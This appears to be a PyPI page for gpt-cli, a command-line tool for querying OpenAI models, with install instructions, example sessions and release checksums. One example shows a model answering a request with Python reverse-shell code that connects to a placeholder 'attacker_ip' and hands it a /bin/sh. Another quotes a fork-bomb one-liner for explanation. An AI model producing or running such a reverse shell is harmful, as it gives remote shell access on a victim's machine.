gpt-cli
This is a command line tool used for interacting with OpenAI's API.
Default model is gpt-3.5-turbo (but you can change it to whatever you want).
This tool requires the following environment variables to be set:
OPENAI_API_KEY
You can further tweak functionality by setting the following additional environment variables:
OPENAI_MODELOPENAI_DEFAULT_PROMPTOPENAI_LOGFILEOPENAI_TEMPERATUREOPENAI_MAX_TOKENS
All environment variables can be set by filling in values from example.env, renaming that file to .env, and running ./bin/gpt3 'Your prompt here'.
There is also a gpt4 command in case you set your model to GPT-4 and feel stupid running the gpt3 command.
Alternately, you can pass the environment variables on the command line using something like this:
OPENAI_API_KEY=foo ./bin/gpt3 'Your prompt here'
If installing from PyPi, set the OPENAI_API_KEY in your ~/.bashrc or ~/.zshrc, and run as follows:
gpt3 'Your prompt here'
Installation (PyPi) - set variables in rc files:
python3 -m pip install gpt-cli
Installation (local) - set variables in .env:
git clone https://github.com/phx/gpt-cli
cd gpt-cli
python3 -m pip install -r requirements.txt
Examples:
If given the -p or --print option, it will display the full prompt and response.
╭─phx@bigboi ~/git/gpt-cli ‹master*›
╰─➤ gpt3 --print 'Write python script to create reverse shell.'
----------------------------------------------------------------------
Prompt:
Write python script to create reverse shell.
Answer:
import socket
import subprocess# Create a socket
s = socket.socket()# Connect to the attacker machine
s.connect(("attacker_ip", attacker_port))# Create a subprocess to execute a shell
proc = subprocess.Popen(["/bin/sh", "-i"], stdin=s.fileno(), stdout=s.fileno())# Keep the connection alive
while True:
data = s.recv(1024)
if data == "exit":
break
proc.stdin.write(data)
proc.stdout.flush()# Close the connection
s.close()
----------------------------------------------------------------------
╭─phx@bigboi ~/git/gpt-cli ‹master*›
╰─➤ OPENAI_DEFAULT_PROMPT='Do not give nonsense answers. If you do not know that your answer is factual, respond with "Unknown. "' gpt3 -p 'Who is Gregory Washingheimer Van Fleet?'
----------------------------------------------------------------------
Prompt:
Who is Gregory Washingheimer Van Fleet?
Answer:
Unknown.
----------------------------------------------------------------------
╭─phx@bigboi ~/git/gpt-cli ‹master*›
╰─➤ OPENAI_DEFAULT_PROMPT='Do not give nonsense answers. If you do not know that your answer is factual, respond with "Unknown. "' gpt3 --print 'Who is John Adams?'
----------------------------------------------------------------------
Prompt:
Who is John Adams?
Answer:
John Adams was the second President of the United States, serving from 1797 to 1801.
----------------------------------------------------------------------
When taking redirected or piped input from STDIN, it will only output the answer.
╭─phx@birdbox ~/git/gpt-cli ‹master●›
╰─$ echo 'Tell me what this code does: :(){ :|:& };:' | bin/gpt3
This code is a fork bomb, a type of denial-of-service attack that continuously replicates itself to consume system resources and eventually cause the system to become unresponsive.
Here's a breakdown of what the code does:
1. `:(){ ... };:` - This defines a function named `:` that contains the code within the curly braces `{}` and then calls the function `:`.
2. `:|:` - This is the recursive part of the fork bomb. It pipes the output of the function `:` back into the function itself, causing it to continuously replicate.
3. `&` - This runs the function in the background, allowing it to continue replicating without blocking the terminal.
When this code is executed, it will rapidly spawn new instances of the function `:` until the system's resources are exhausted, leading to a system crash or unresponsiveness. It is important to never run this code on a system as it can cause serious damage.
Metadata
Release files for gpt-cli 1.0.11
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| gpt_cli-1.0.11.tar.gz | 4.1 kB | Without provenance | Details for gpt_cli-1.0.11.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| gpt_cli-1.0.11-py3-none-any.whl | Python 3 | none | any | Details for gpt_cli-1.0.11-py3-none-any.whl |
Total release size: 9.4 kB
Release files / gpt_cli-1.0.11.tar.gz
| Download URL | gpt_cli-1.0.11.tar.gz |
|---|---|
| Size | 4.1 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
0c85ee9144161f1f7d9dbabd6e9d1fa30ec0efa7b161eeedb7ef7cdf0c1a96a9
|
|
BLAKE2b-256 checksum How to use checksums |
5fad6f270128536a6997ec6ab99ebd4d153caf410608af79545a8f1330df18fb
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/5.1.0 CPython/3.11.5
|
Release files / gpt_cli-1.0.11-py3-none-any.whl
| Download URL | gpt_cli-1.0.11-py3-none-any.whl |
|---|---|
| Size | 5.2 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
7bdb9882bdd70019b08309ccf302f1fce807cc8a34071be5ab3440c5a3732193
|
|
BLAKE2b-256 checksum How to use checksums |
d74ddcfe17b1ff6b2e281e6234008a8518b4febd3a52a0e6abd8dee8e34d444d
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/5.1.0 CPython/3.11.5
|
Security for gpt-cli 1.0.11
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.